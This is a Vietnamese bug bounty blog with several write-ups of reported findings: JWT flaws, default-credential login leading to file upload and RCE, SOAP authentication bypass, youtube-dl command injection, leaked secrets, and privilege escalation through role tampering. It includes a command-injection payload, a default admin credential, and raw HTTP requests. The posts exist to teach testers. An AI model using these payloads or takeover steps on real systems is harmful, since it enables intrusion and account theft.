web

Ai cũng có lúc mắc sai lầm #4

Tl;dr: Something about JWT.


Trước giờ tất cả những lần mình đi phỏng vấn (ở cả 2 đầu bàn) thì đều hỏi/được hỏi những câu hỏi liên quan đến JWT, và trong tất cả những lần đó thì “alg=none” luôn luôn là đáp án đầu tiên. Nhưng hôm rồi vô tình lượn Twitter mình lại thấy có một câu hỏi khá hay:

Rõ ràng đây là một câu hỏi rất thực tế, vì thực ra rất hiếm gặp những lỗi “ngớ ngẩn” như vậy, đặc biệt khi bây giờ developers đã sử dụng các library JWT một cách đúng đắn hơn rất nhiều. Tuy nhiên “alg=none” không phải là lỗi duy nhất có thể xảy ra với JWT. RFC 8725 chỉ ra rất nhiều “lỗ hổng” có thể xảy ra khi dùng JWT, và “alg=none” chỉ là một trong số đó. Vậy thì, any chance for you, the penetration testers/the bug bounty hunters, to find these JWT bugs?


Có 02 cases thực tế mình đã gặp trong quá trình đi pentest/bug bounty từ trước đến nay liên quan đến JWT. Case thứ nhất và cũng là case thường gặp nhất liên quan đến JWT là lỗi không verify phần signature. Nghe hơi sai sai nhưng đây là sự thật. Có một thực tế là một trong những library về JWT được sử dụng nhiều nhất cũng đã từng làm developer confuse giữa jwt.decode()jwt.verify().

Rõ ràng nếu như developer chỉ dùng jwt.decode() thì sẽ xảy ra trường hợp attacker xoá phần signature nhưng vẫn access được API như hình dưới đây:

Lỗi này lúc trước mình thường xuyên gặp phải, bây giờ thì đỡ hơn nhiều rồi, vì các library đã force phải sử dụng jwt.verify(). Nhưng cẩn thận không bao giờ là thừa, hãy luôn check xem chuyện gì sẽ xảy ra nếu ta xoá phần signature của JWT. Còn nếu tiếp cận theo hướng whitebox thì keyword “.decode()” là một keyword rất đáng để thử.

Case thứ hai, hiếm gặp hơn nhưng không phải là không có khả năng gặp. Theo lý thuyết, suggested key size khi dùng algorithm HS256 là 256 bits – 32 bytes. Tuy nhiên như trường hợp dưới đây thì đúng là “rớt lý thuyết rớt cả thực hành”:


Nếu các bạn nghĩ bài viết này có ích thì có thể mời mình một ly cà phê, hoặc tạo thêm động lực viết bài cho mình bằng cách giúp mình duy trì blog qua PayPal hoặc MoMo. Chân thành cám ơn lòng tốt của mọi người.


P/s: https://howmanydayssinceajwtalgnonevuln.com

P/s2: https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/

Bug this, bug that #6

Tl;dr: from recon to RCE.


Hello, long time no see.

Nếu bạn theo dõi series vớ vẩn này đủ lâu thì sẽ nhận ra cái quy trình tìm bug của mình thường thường là dạo vòng ngoài, tìm các bug unauthenticated (nếu có) trước, sau đó mới đến bước register/login để tìm các bug authenticated. Dễ dàng nhận thấy tìm bug kiểu như vậy thì khả năng thấy bug ngay khá là thấp, nhưng nếu có bug thì có thể sẽ là một bug to. Mình nghĩ đó là một kiểu đánh đổi thôi, mình sẽ không có lợi thế so với các bạn khác, ví dụ các lỗi XSS hay IDOR (broken access control) thì thường thường không đến lượt mình, còn nếu lỡ như có bug gì unauthenticated thì mình hốt ngay được. À mà xác suất để tìm được unauthenticated RCE thì còn thấp hơn nữa, nên đây là một cách tìm lỗi thất bại, hi vọng trong các bạn không có ai học theo mình =]]

Tuy nhiên xác suất thấp không có nghĩa là không thể xảy ra, cuộc sống mà, không nên đánh mất hi vọng. Target lần này là một trang khá cũ, chạy PHP, cũng không có nhiều chức năng. Fuzz nhẹ thì thấy directory listing ở gần như tất cả các directory:

Cái folder filemanager kia có vẻ hay ho, nhảy vào xem thử thì đúng là hay ho thật. Có 2 files đáng lưu ý ở đây:

  • filemanager.php, file này cần username và password để authentication:
  • phpfm.png, có vẻ như là một screenshot:

Với chừng này thông tin, mình đi search trên Google, và tìm thấy một repository trên GitHub, nhìn rất tiềm năng: https://github.com/alexantr/filemanager/:

Không cần phải tinh mắt lắm mới có thể nhận ra file phpfm.png trong folder filemanager trên server và screenshot trong repository là hoàn toàn giống nhau. Quay lại đọc code, cũng không khó để tìm thấy default username và password là fm_admin:fm_admin.

Một pha ăn may đỉnh cao khi mình dùng credential này và log in thành công:

Cũng giống như mọi bài toán đều dễ khi ta biết đáp án, lần này mọi chuyện cũng bớt khó khăn hơn rất nhiều khi ta có source code (lại còn không dài, không phức tạp). Theo như source code, để tìm path upload, mình chỉ cần view-source (sau khi đã login thành công):

Đến đây thì thôi coi như xong rồi. Được upload tuỳ ý, lại còn biết path upload, tiếp tục làm đúng theo các bước trong source code từ repository trên GitHub, mình thực hiện tạo folder và upload cái phpinfo() làm PoC lên server thôi:


Thêm một lần nữa ăn may, ai mà có ngờ từ directory listing -> reconnaissance -> default credential -> arbitrary file upload -> RCE được, nhỉ.

Dịch bệnh càng ngày càng phức tạp, không biết đến khi nào mới được trở về cuộc sống bình thường nữa, mọi người cố gắng ở nhà, hạn chế ra ngoài, giữ sức khoẻ nhé. Dịch bệnh ai cũng khó khăn, treo donate tiếp thì cũng kỳ, nên nếu mọi người cảm thấy bài viết của mình có ích thì thay vì donate cho mình, mọi người có thể giúp đỡ cho các hoàn cảnh khác khó khăn hơn quanh khu vực mình đang sống nhé. Cám ơn mọi người nhiều nhiều.

Stay safe and happy hacking!

Bug this, bug that #5

Tl;dr: Dựa vào lỗi misconfiguration từ phía ứng dụng để bypass authentication, từ đó có quyền truy cập vào admin panel của ứng dụng. Đây là phiên bản có nhiều hình ảnh hơn phiên bản đã được disclose trên HackerOne.


Khoảng hơn nửa năm trước mình có tập tành tìm bug trên HackerOne. Một trong những chương trình VDP lớn nhất trên HackerOne là DoD, chương trình của bộ quốc phòng Hoa Kỳ. Thấy họ resolve nhiều bug quá nên mình cũng thử tìm xem thế nào. Scope của DoD là cả một top-level domain, rất lớn. Hình như trong số toàn bộ các tool find subdomain mà mình đang sử dụng không có cái nào support tìm domain và subdomain từ top-level domain, nên đầu tiên mình sẽ đi search Google với dork “site:.tld“, từ đó tìm ra một list các domain, sau đó pick random một domain nào đó rồi thử các bước như vẫn thường làm.

Như thường lệ, việc đầu tiên mình làm là enumerate subdomain. Càng có nhiều subdomain, tỉ lệ có bug càng cao. Có được list subdomain “hợp lệ” thì làm như mọi người vẫn làm, cho qua ffuf với một wordlist mà giang hồ mạng hay dùng. Code thêm một cái script nhỏ nhỏ để in ra title của site, tăng tỉ lệ tìm được low-hanging fruit bug. Siêng nữa thì cho qua eyewitness để có thêm screenshot, thêm info,… hoặc lười quá thì cài Osmedeus cho nó tự làm rồi đợi nhận kết quả thôi. Nếu làm xong hết những bước này mà chưa ra gì hay ho thì thôi, đi ngủ đi chứ làm gì nữa. Trường hợp này của mình là một ví dụ, nó chả ra cho mình một cái info gì thú vị hay hấp dẫn gì cả, ra mỗi cái biển báo như thế này:

Với khả năng ngoại cảm bảo mật của một người chơi hệ tâm linh, mình đem cả cái URL vứt lên GitHub. Như mình vẫn hay đề cập ở các post trước, GitHub là thiên đường của developers, do đó cũng là thiên đường của hackers. Developers có gì cũng vứt lên GitHub, thì hackers cũng vậy, muốn hack gì thì lên GitHub kiếm. Và rõ ràng GitHub không làm mình thất vọng, hai endpoints có vẻ tiềm năng xuất hiện trước mắt mình:

Lần lượt vào thử hai endpoints vừa tìm thấy thì nhận ra SOAP service description đang bật ở endpoint thứ hai, cộng với một keyword tìm được ở endpoint thứ nhất thì có thể khẳng định trên server này đang chạy một online assessment platform.

Lướt một vòng thì mình thấy có hai methods đáng chú ý và có gì đó sai sai:

Method GetAdministratorList sẽ trả về toàn bộ info của các administrators có trong database, còn method GetAccessAdministrator sẽ trả về một URL để login tuy nhiên không cần mật khẩu ?? 😀 ??

Đợi chờ gì nữa, copy request rồi mở Burp lên mà hốt xác nó thôi. Kết quả thì như các bạn có thể thấy ở hình dưới.

Mọi thứ sẽ hoàn hảo nếu như không có cái chỗ trong khung đỏ kia. Mình không có account, cũng chưa từng làm việc với cái service này, thì mấy chỗ “string” kia biết điền gì cho đúng?

Bị lây tính của mấy anh em developers tay to ở chỗ làm, mình chọn cách đi kiếm document đọc, khoảng 10 phút thì thấy có vài điểm có vẻ thú vị ở cơ chế xác thực dùng trong service này:

Với trình tiếng Anh hạn hẹp của mình thì mình hiểu là trong trường hợp này SOAP Trust header có quyền ưu tiên cao nhất, override được cả security SOAP header và basic authentication (nếu basic authentication được enable). Nếu không đưa bất kỳ header nào vào SOAP headers thì sẽ dùng basic authentication. Lưu ý thêm là để bật basic authentication thì Trust require setting phải được tắt và Security require setting phải được bật.

Hmm, vậy sẽ ra sao nếu mình vừa không pass gì vào SOAP header, server lại không bật basic authentication, hoặc bật không thành công? Nếu Trust require setting đã tắt và Security require setting chưa bật thì sẽ dùng method nào? Thử phát, xoá hết mọi thứ trong tag <soap:Header> (Cả tag <Trust> lẫn tag <Security>) xem sao:

Ngon lành. Mình nghiệp dư nên mình phân tích cho dài vậy thôi, chứ gặp mấy hackers có kinh nghiệm, có 6th sense, người ta thấy header thì người ta xoá luôn phát một là thấy hàng về rồi, hơi đâu ngồi giải thích dài dòng như mình. Giờ xài tiếp method GetAccessAdministrator lấy link “đăng nhập không mật khẩu” vào tài khoản administrator thôi.

Có link rồi thì lấy đăng nhập thôi, còn gì nữa đâu…


Nói một cách công bằng thì lỗi này cũng chỉ là một lỗi ăn may 🙂 cũng không có nhiều kỹ thuật gì. Hi vọng là bài viết này của mình giúp được gì cho ai đó :)) Nếu các bạn nghĩ bài viết này có ích thì có thể mời mình một ly cà phê, hoặc tạo thêm động lực viết bài cho mình bằng cách giúp mình duy trì server theo một trong hai cách: qua PayPal hoặc MoMo nhé. Chân thành cám ơn sự ủng hộ của mọi người.

Happy hacking!

Bug this, bug that #4

Tl;dr: Abuse a feature to achieve Root Command Injection. Original report: https://whitehub.net/submissions/2039.


Hơn bốn tháng trời không viết nổi một bài, bờ-lốc bờ liếc mốc meo phủ bụi, cũng muốn viết lắm, nhưng mà làm gì có bug đâu mà viết 😭

May sao tháng trước sàn WhiteHub có email thông báo có program mới, cũng không trông mong gì nhiều, vào xem thử cho biết. Lúc nhìn target thú thực mình cũng không muốn làm cho lắm, lý do thì chắc các bạn cũng sẽ hiểu được khi xem hình dưới đây:

Nhưng thôi đang trong giai đoạn khó khăn, 🍚 👕 🌾 💰, kiếm được đồng nào hay đồng nấy, mình thử mở Burp (tất nhiên là Community Edition) lên xem thế nào. Sau khi lướt qua một vòng thì mình thấy có tính năng Add link YouTube, tính năng này mình cũng đã có gặp một vài lần ở những program khác, vì vậy nên không khó lắm để mình tìm được lỗi SSRF ở đây:

Tuy nhiên nếu chỉ dừng lại ở scan internal port và leak service banners thế này thì impact cao nhất có thể chỉ là Medium. Mà nhìn cái “bảng giá” ở trên thì…

Nhìn kỹ hơn một tí, trong response trả về có một điểm hơi lạ, nhìn có vẻ như là một warning/error khi chạy command line vậy. Đi search keyword youtube-dl, biết được đây là một tool cho phép download video từ YouTube từ CLI. Linh tính mách bảo mình: ở đây có bug, rất có thể sẽ inject được gì đó.

Để kiểm chứng, mình thử nhập các ký tự đầu lâu xương cá, đặc biệt là các ký tự như , , &, |, >, `… vào phía sau http://localhost để xem kết quả trả về là gì. May mắn, không lâu sau thì mình có một kết quả khả quan:

Input: http://localhost'; || `id`'
Output: "/bin/sh: -c: line 0: syntax error near unexpected token `||'\n/bin/sh: -c: line 0: `youtube-dl  -J 'http://localhost'; || `id`''\n"

Ngoài lề, chỗ này chắc sẽ có bạn hỏi sao không có hình cho trực quan, cho dễ nhìn, thì xin thưa là do xài Burp Community Edition, không có chức năng save state, nên lỡ tay bấm tắt project là mất luôn, text thì do copy ra để debug nên còn chứ hình thì không kịp chụp 😂 để cố kiếm bug rồi đầu tư bản Pro, mạnh dạn nói “Không” với hàng crack nhé ahihi.

Quay lại chủ đề chính, có error như kia thì khá rõ ràng rồi. Input của mình sẽ được truyền thẳng vào câu lệnh download, mình đoán kiểu có dạng như sau:

`youtube-dl  -J '$input'`

Việc của mình bây giờ chỉ là inject payload sao cho đúng chỗ và work 🙂 payload thì đơn giản nhẹ nhàng thôi:

http://localhost'; id; echo '

Chạy command dưới quyền root như này thì thôi, còn gì để nói nữa. Viết nhanh cái report chứ không thì lại là người đến sau mất, dù biết là report nếu viết gấp nó sẽ không ra thể thống gì cả, không được đàng hoàng như trên blog, nhưng thôi kệ, “cuộc đua số” mà, đành chấp nhận. Cũng may trời thương, không duplicate. Team xử lý rất nhanh, chỉ trong khoảng 3 tiếng từ khi mình report là issue đã được triaged, fixed, resolved và bounty rewarded.

Bounty 2 triệu, đóng thuế hết 10% còn 1 triệu 800 nghìn, hơn bốn tháng kiếm được một bug (vừa đúng bằng thời gian giãn cách giữa hai bài #3 và #4). Còn buồn hơn nữa, khi bài viết này được đăng cũng là lúc program tăng giá gạo lên thành 5 triệu cho một lỗi critical 🤦

Quay qua quay lại mất hẳn 3 triệu, đúng thật làm IT giàu, nhưng chắc là giàu tình cảm… tuy nhiên thiết nghĩ tình cảm thì nên được thể hiện đúng chỗ, mà chỗ đúng là Click to Donate (PayPal) hoặc chỗ này (MoMo) nhé các bạn, donate cho mình có tiền trả tiền thuê server với, chân thành ghi ơn 🙏

Happy hacking!

Bug this, bug that #3

Tl;dr: chain hai lỗi Information disclosure (Medium-High) để khai thác thành công lỗi Account Takeover (High).


Quay lại thời gian này năm ngoái, khoảng thời gian mà mình chưa đi làm lại sau khi nghỉ việc ở công ty cũ, cũng rảnh rỗi nên tập tành tìm bug. Tình cờ biết được một công ty ở VN có mở một program bug bounty, nên mình cũng “quan hệ cửa sau”, xin mở được một account ở đây để tìm bug cho vui. Lúc được cấp account thì mình cũng có vào nghịch thử, thấy website được code bằng PHP, Laravel, có vẻ là một framework ticket nào đó. Test sơ sơ vài phát thấy chỉ có mấy lỗi info này nọ nên thôi, bỏ qua, tập trung tìm lỗi từ các program có trong platform.

Bẵng đi đến đầu tháng này, sẵn tiện vừa code được một cái tool gom info, mình đem chạy thử với domain của công ty kia (tạm gọi là websitehucau.vn). Và mình phát hiện ra tool của mình có một bug rất nghiêm trọng. Mình check regex không đúng, thay vì trả về các subdomain dạng abc.websitehucau.vn, thì nó lại gom luôn các domain dạng abc-websitehucau.vn, và cả subdomain dạng xyz-abc.websitehucau.vn nữa chứ :facepalm:

Cũng khá tình cờ, khi mình mở lại log debug xem thì bất ngờ thấy có một domain hơi lạ, ss1-abc.websitehucau.vn, trong khi subdomain abc.websitehucau.vn chính là platform bug bounty program đã nói ở trên! Mình chợt nghĩ, nếu nó giống site kia, thì có lẽ nào nó cũng là một version khác, kiểu kiểu staging/dev, hoặc một bản backup? Biết site được code bằng Laravel, thôi chọt thử một cái payload huyền thoại: .env

Không ngờ là site này vẫn còn mắc phải cái lỗi kinh điển và cơ bản như vậy. Trong số những thông tin nhạy cảm này thì mình thấy có credential của email, dùng Zoho mail. Thử login thì vào thành công, có vẻ khá ngon rồi.

Nhìn có vẻ không có gì, tạm bỏ qua. Tiếp tục fuzz thử thì thấy có một file thú vị: adminer.sql

Pha này thì chắc là ông nào backup nhưng quên xóa rồi. Download database về xem thử thì thấy username, email, password,… của mình trong đó, lúc này có thể confirm database này đang được sử dụng (hoặc đã được sử dụng) trong thực tế.

Để chắc chắn hơn, mình login vào trang chính để xem lại list user, nhưng lại quên password. Mình có thử crack password tìm thấy trong db kia thì cũng được vài cái, nhưng tiếc là không crack được password admin cũng như password của mình, nên mình ra homepage bấm “Forgot Password“, điền email của mình vào. Check mail thì thấy mail gửi link reset password nhìn quen quen, nhìn kỹ thì thấy chính là cái mail ban đầu bị leak trong file .env đã nói ở trên. Thế là mình quay lại login vào email kia, xem trong tab “Đã gửi“:

Ok ngon, lúc này thì đã đủ info để chain những bug này lại thành một bug Account Takeover hoàn chỉnh:

  • Dùng email có được từ file adminer.sql để request password reset.
  • Login vào mail để lấy token/link reset password của user, rồi change password —> account takeover.

Viết report rồi gửi thôi, cũng không ngờ là từ một bug ngớ ngẩn trong code của mình mà mình có tìm ra được một bug “coi cũng được” như này :))))


Như thường lệ, tiếp sau phần write-up là tiết mục “khều donate” =]]]] nếu bạn cảm thấy bài viết có ích thì có thể mời mình một ly cà phê, hoặc tạo thêm động lực cho mình viết bài bằng cách nhấn vào nút Click to Donate (qua PayPal) hoặc MoMo. Cám ơn các bạn rất nhiều!

Happy hacking!

Bug this, bug that #2

Tl;dr: Vô tình tìm được một lỗi có thể làm lộ toàn bộ source code của công ty U, impact tương tự như vụ gần đây nhất của công ty G ở VN. Bug low tech, không chứa quá nhiều hàm lượng kỹ thuật. Nút donate ở cuối bài =]]]]


Chuyện xảy ra vào một buổi chiều đẹp trời, report của mình cho một private program trên HackerOne bị duplicate. Nghĩ cũng đúng, bug dễ tìm quá, low-hanging fruit thì ai cũng tìm được.

Khi khai thác lỗi đó mình có tìm được một token gọi là “gitlab-ci-token“, và có mention trong report. Sau khi report thì mình mới nảy ra ý tưởng: lấy keyword “gitlab-ci-token” này đi search trên GitHub, rất có thể có nhiều công ty/tổ chức/cá nhân cũng đang mắc lỗi này. Nghĩ là làm, mình search ngay, sort theo recently indexed, và nhận được vài kết quả có vẻ khả quan, trong đó có một kết quả là một file json, của một plugin wordpress, thời gian upload lên cũng khá gần. Mình vào thẳng website của plugin đó, tải source về để kiểm tra xem token này là của người dùng upload lên GitHub, hay là của plugin.

Plugin có hai version, free và premium (có trả phí). Mình chọn bản free, được redirect qua trang download plugin. Plugin này nằm trong top popular, với hơn 3 triệu người dùng.

Sorry vì phần censored, lúc đầu mình xin phép được private disclose, che đi thông tin, không ngờ họ hào phóng cho mình full disclose, mà mình lại lỡ che mất rồi.

Sau khi download file zip về, extract ra, mình tìm tới đúng file json đã đề cập ở trên (vendor/composer/installed.json). Vẫn thấy tồn tại token, nghĩa là token này vô tình bị developer plugin cho vào đây, và quên xoá khi release.

gitlab-ci-token“, như tên gọi, là một job token, được mô tả rõ ràng ở đây. Bản chất nó vẫn là token (khác biệt là job token không có quyền write) nên hoàn toàn có thể được dùng để access vào projects như một personal/projects access token, theo cách được mô tả ở đây.

Rõ ràng token này vẫn còn valid, ai có được token này đều có thể access được vào GitLab nội bộ này. Nguy hiểm hơn, token bị leak ra này gần như có quyền trên toàn bộ các projects trong GitLab. Clone thử một cái về để “chứng minh lỗ hổng”:

Fact: Sau khi screenshot thì folder này đã được xoá ngay.

Đủ để chứng minh lỗ hổng rồi, viết ngay một email report. Xác định là làm từ thiện rồi, vì trên homepage mình không tìm được chỗ nào cho email hay có form contact gì cả. May là trong source code vẫn có email của developer ở phần header. Vài tiếng sau thì nhận được email reply, họ báo là đã up lên version mới, xoá cái token bị leak trong source code, revoke toàn bộ token cũ, và đã audit toàn bộ source code để ngăn tình trạng này xảy ra.

Hôm sau thì họ cho mình lên trang acknowledgements, và đương nhiên rồi, report từ thiện thì làm gì có bounty. Tuy nhiên, nếu có ai đó cảm thấy mình xứng đáng được nhận bounty, hoặc cảm thấy (các) bài viết của mình có ích, đừng ngại nhấn nút Click to Donate mời mình một ly cafe nhé =]]]]

Happy hacking!

Bug this, bug that #1

Rảnh ngồi nhìn lại mấy bug ngày xưa kiếm được, thấy toàn là bug… tào lao. Kiểu, mấy bug đó quá đơn giản, chẳng ai thèm tìm, chẳng ai thèm submit thì mình lại đi submit và may mắn được accept, còn lại thì giống như một lời một hoặc nhiều idol nào đó (có thật cũng như tưởng tượng) đã nói: “Bug vậy cũng submit/viết bài, suốt ngày lộ source GitHub, password yếu, đọc report/blog chẳng có tí hàm lượng kỹ thuật nào trong đó”. Chịu, ai nói thì nghe, trình kém mà ¯\_(ツ)_/¯

Điển hình trong số đó là một bug ngày xưa mình tìm được của một website cũng gọi là “có số má” ở VN, tạm gọi là websitehucau.vn đi. Bằng “các biện pháp nghiệp vụ” như search Google, search GitHub, chạy tool có chọn lọc,… mình tìm được một list các subdomain của website hư cấu này. Nhìn sơ qua thì thấy có một subdomain có tên khá lạ: xxx-public-api.websitehucau.vn. Truy cập vào thử thì thấy 404 not found =]]]]

Một lỗi điển hình mà newbie như mình hay gặp, đó là cứ gặp 403 hay 404 là nghỉ, không tìm tiếp nữa. Mãi sau này, cắp sách theo học các idol mới ngộ ra, cứ đi fuzz hết, biết đâu nó chỉ xoá index.html thôi chứ còn vẫn để những file khác 🙂 may mắn, sau khi thử vài lần thì mình tìm ra được swagger docs ở path /swagger/index.html

Cũng không có gì đặc biệt, đa số là những API gọi những thứ đặc thù của website, trừ hai API: /get-all-domain-config/update-domain-config-by-code. Cái tên nói lên tất cả, mình đoán có lẽ đây là API để xem và chỉnh sửa các config domain gì gì đó. Vào bấm execute xem thử thì thấy kết quả trả về như thế này:

Ờ đúng là xem config, map giữa code và domain của website này rồi.

Ủa mà khoan, mình đâu có đăng nhập hay authorize gì ở đây đâu, sao xem được? Hay cái này không có cơ chế authorization? Confirm lại bằng cURL thử, lỡ đâu còn cookie hay có lỡ nhập key gì vào mà không để ý:

Chính xác là không có authorization. Tới đây thì chắc chắn có vấn đề rồi, mình thử ngay API thứ hai (API update), lấy info từ response ở trên, POST lên xem thử, mạnh dạn nhấn “Execute”, và kết quả:

Bằng request như trên mình có thể update toàn bộ các config domain thành domain của mình. Giờ mà mình đổi toàn bộ domain websitehucau.vn này thành bu.gbounty.cc hay cái gì đó tào lao khác thì chắc là công ty hư cấu này toang toàn tập!

Tới đây thì report thôi, trình cùi, biết làm gì hơn nữa :)) Happy hacking!

P/s: Sau khi report thì bug này được website đó công nhận severity ở mức Critical, và được maximum reward :)) sau đó thì website này dẹp luôn chương trình bug bounty… :'(

P/s 2: Hãy cứ xem website này là một website hư cấu đúng nghĩa đi các bạn, đừng cố đi soi, đi tìm hiểu website này là website nào, của công ty nào abcxyz làm gì, làm như vậy mai mốt mình không được viết blog chia sẻ kiểu này nữa đâu. :'(

Cú lừa

Cuộc sống đâu lường trước điều gì… Lại tiếp tục chuỗi ngày ngồi cafe tìm bug dạo thôi các bạn ạ… Bug càng ngày càng khó kiếm, cuộc sống thì khó khăn, ngày xưa còn uống cafe size lớn giờ chuyển xuống uống size vừa… hic…

Hôm trước vừa giới thiệu case exposed folder /.git/, dẫn đến việc lộ source code (bạn nào chưa đọc thì có thể đọc ở đây) xong, thì sau đó một thời gian ngắn, mình lại gặp lại một case tương tự. Tuy nhiên, lần này hơi khác, khi mình check đến folder /.git/ của website thì thấy status code 403 – Forbidden.

Kiểu này là có thanh niên nào nhanh tay report mất rồi. Thường thì “gặp 403 ta cho qua”, tuy nhiên trong trường hợp này thì không nên. Bởi vì rất nhiều sysadmin không biết fix lỗi này hoặc fix không triệt để, dẫn đến việc mặc dù bị forbidden nhưng mình vẫn có thể khai thác bằng cách truy cập thẳng vào /index hoặc /config như hình:

Đọc được file index có nghĩa là mình hoàn toàn có thể đọc được source code, đơn giản chỉ cần ném vào gitdumper.

Trường hợp ngon lành, download được source về thì kiếm file nào có sensitive information mà đọc thôi, ví dụ như:

Leak được info này thực ra cũng không làm được gì nhiều, vì IP internal…

Nhưng mà cuộc đời đâu phải chỉ toàn màu hồng… Có những trường hợp không download được, có thể là do folder /.git/ này đã cũ, có download về được thì cũng chỉ được vài file code cũ hoặc file rác. À nói rác vậy thôi chứ cũng không đến nỗi rác lắm… mấy ông sysadmin hay có kiểu fix thôi chứ không đổi password đâu, biết đâu còn ăn may được…

Nhìn cái kiểu đặt password kia thì khả năng cao là password này dùng chung rồi. Cầm đi login thử, không ngờ vào được admin thật…

Mà với WordPress, đã vào được admin thì nghĩa là đã có RCE…

Thật không may, dưới quyền nginx không chỉ có mỗi WordPress mà còn chạy nhiều thứ khác với kha khá critical info… ls một cái rồi viết report cho nhanh, mất công lại duplicate thì khổ.

Hihi, nói RCE nghe đao to búa lớn vậy thôi chứ thực ra root cause vẫn chỉ là weak/reused password. Mà kệ chứ, cứ có bug là đời đỡ buồn hơn một tí rồi. Mai mạnh dạn gọi ly cafe size lớn, happy hacking!

Lạy ông tôi ở bụi này

Mấy hôm nay rảnh rỗi, lại đang bế tắc với mấy program có offer bounty, nên thôi mình nghỉ xả hơi bằng cách chuyển qua tìm bug ở các VDP – Vulnerability Disclosure Program, đúng chuẩn report vì cộng đồng.

Những program VDP thì thường scope không giới hạn, nghĩa là thoải mái tìm subdomain của *.vdp-program.com. Ném vào tool findomain đã giới thiệu từ những post đầu tiên (à nó vừa update version mới thì phải), mình có một danh sách các subdomain. Lần lượt thử các subdomain đã tìm được thì mình tìm thấy một site X.

View-source site X thì thấy có một file js. Haizz, đã lười rồi còn bắt đọc source js, lại còn pack lung tung :'(

Thôi lỡ rồi, Command + F tìm vài keyword như https://, api/, url:,… cho vui, biết đâu có gì hay :no-hope:

Tìm một lúc thì mình thấy có khoảng 3-4 link gọi API, thử truy cập vào một link thì thật bất ngờ…

Ôi lộ cả email/password ra thế này thì… Ơ mà password nhìn thế kia thì kiểu gì cũng encrypted rồi, làm ăn gì được đâu. Đem đi login thử thì y như rằng, tạch. Dễ ăn vậy thì chơi làm gì nữa.

Đến lúc này thì mình nghĩ ra hai cách tấn công. Cách thứ nhất, có salt và password encrypted kia rồi, nhìn thì có vẻ là dùng AES, giờ bằng cách nào đó, có thể là dùng sai crypto, hoặc key yếu,… tìm ra được key rồi decrypt cái password kia ra là xong. Cách này lúc đầu mới nghe thì có vẻ hay, nhưng thực tế… không khả thi. Cách thứ hai là… vứt nó đi, tìm đường khác dễ hơn =]]]]

Tiếp tục thử thêm mấy link gọi API còn lại, lần này thì có vẻ hay ho hơn:

Không hiểu nổi mấy anh dev, mắc cái gì mà để cái resetPasswordToken ở đó không biết nữa, đã vậy lại còn account admin… Phần việc còn lại bây giờ là đi tìm cái link reset password rồi dùng cái token này quất thôi.

Đến đây lại có ba cách tiếp cận. Một là register một cái account, rồi reset password để gởi link về email của mình, thay token bằng token admin. Tuy nhiên tìm mãi mà không thấy nút Register/Sign up ở đâu cả :'( chắc là hệ thống nội bộ nên không cho đăng ký. Hai là fuzz cái URL reset password. Ba là tiếp tục đọc source js để tìm cái link, hoặc ít ra là cái cấu trúc của link reset password. Lỡ đi đường khó rồi thì thôi, chơi tới, mình chọn cách thứ ba. Đọc code một lúc thì thấy code đoạn reset password như thế này:

Ok, đã đầy đủ mọi thông tin cần thiết. Tóm lại, bây giờ những gì cần làm để takeover account admin là:

  • Vào link login, click vào reset password, nhập vào email admin.
  • Check link gọi API lúc nãy để lấy resetPasswordToken của admin.
  • Thực hiện request dưới đây để đổi password:
  • Login vào confirm.

  • Submit report, và không quên trân trọng cám ơn các anh developer đã tài trợ bug này =]]]]

Happy hacking!

Sáu số không

Hình như mình có cái aura, mình tìm được bug gì hay hay một tí ở program nào thì ngay lập tức program đó dẹp tiệm 🙁 Buồn, lâu lâu mới có program chơi, đục chưa đã thì nó đã đóng 🙁 Đang trong thời gian thất nghiệp nghèo đói nữa chứ 🙁

Thôi thì sự thật phũ phàng, không còn gì đào móc ở program đó được nữa thì mình chuyển qua program khác. Lần này là một program mới toanh. Làm program cũ có cái lợi đó là mình đã tìm hiểu cái program đó lâu rồi, flow chương trình mình đã nắm rồi, có những endpoint nào dễ bị attack thì mình cũng đã review rồi, nên khá dễ cho mình trong việc tìm bug. Còn program mới thì mặc dù nhiều low-hanging fruit, bug dễ, nhìn phát là thấy, tuy nhiên khi program mới vừa start thì có rất rất nhiều researcher khác lao vào tìm lỗi, dẫn đến việc “trâu chậm uống nước đục”, duplicate cứ gọi là nhiều như lá mùa thu vậy. Cũng đành chịu thôi biết sao giờ.

Target lần này là một platform bán hàng. Đúng như quy trình test thông thường, mình vào đăng ký một tài khoản trên trang của shop. Lướt lướt một vòng thì thấy trang này có chức năng add thêm tài khoản khác để làm các công việc như operator và cashier. Mình add thử một cashier và bắt request lại:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=cashier&password=0okmnji9&retype_pw=0okmnji9&otp=

Ơ mà nếu mình thay cashier thành admin thì sao nhỉ? Edit request thành:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=admin&password=0okmnji9&retype_pw=0okmnji9&otp=

Response trả về:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 Sep 2019 16:14:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload;
Content-Length: 82

{"success":true,"message":"OTP is successfully sent to 090000000"}

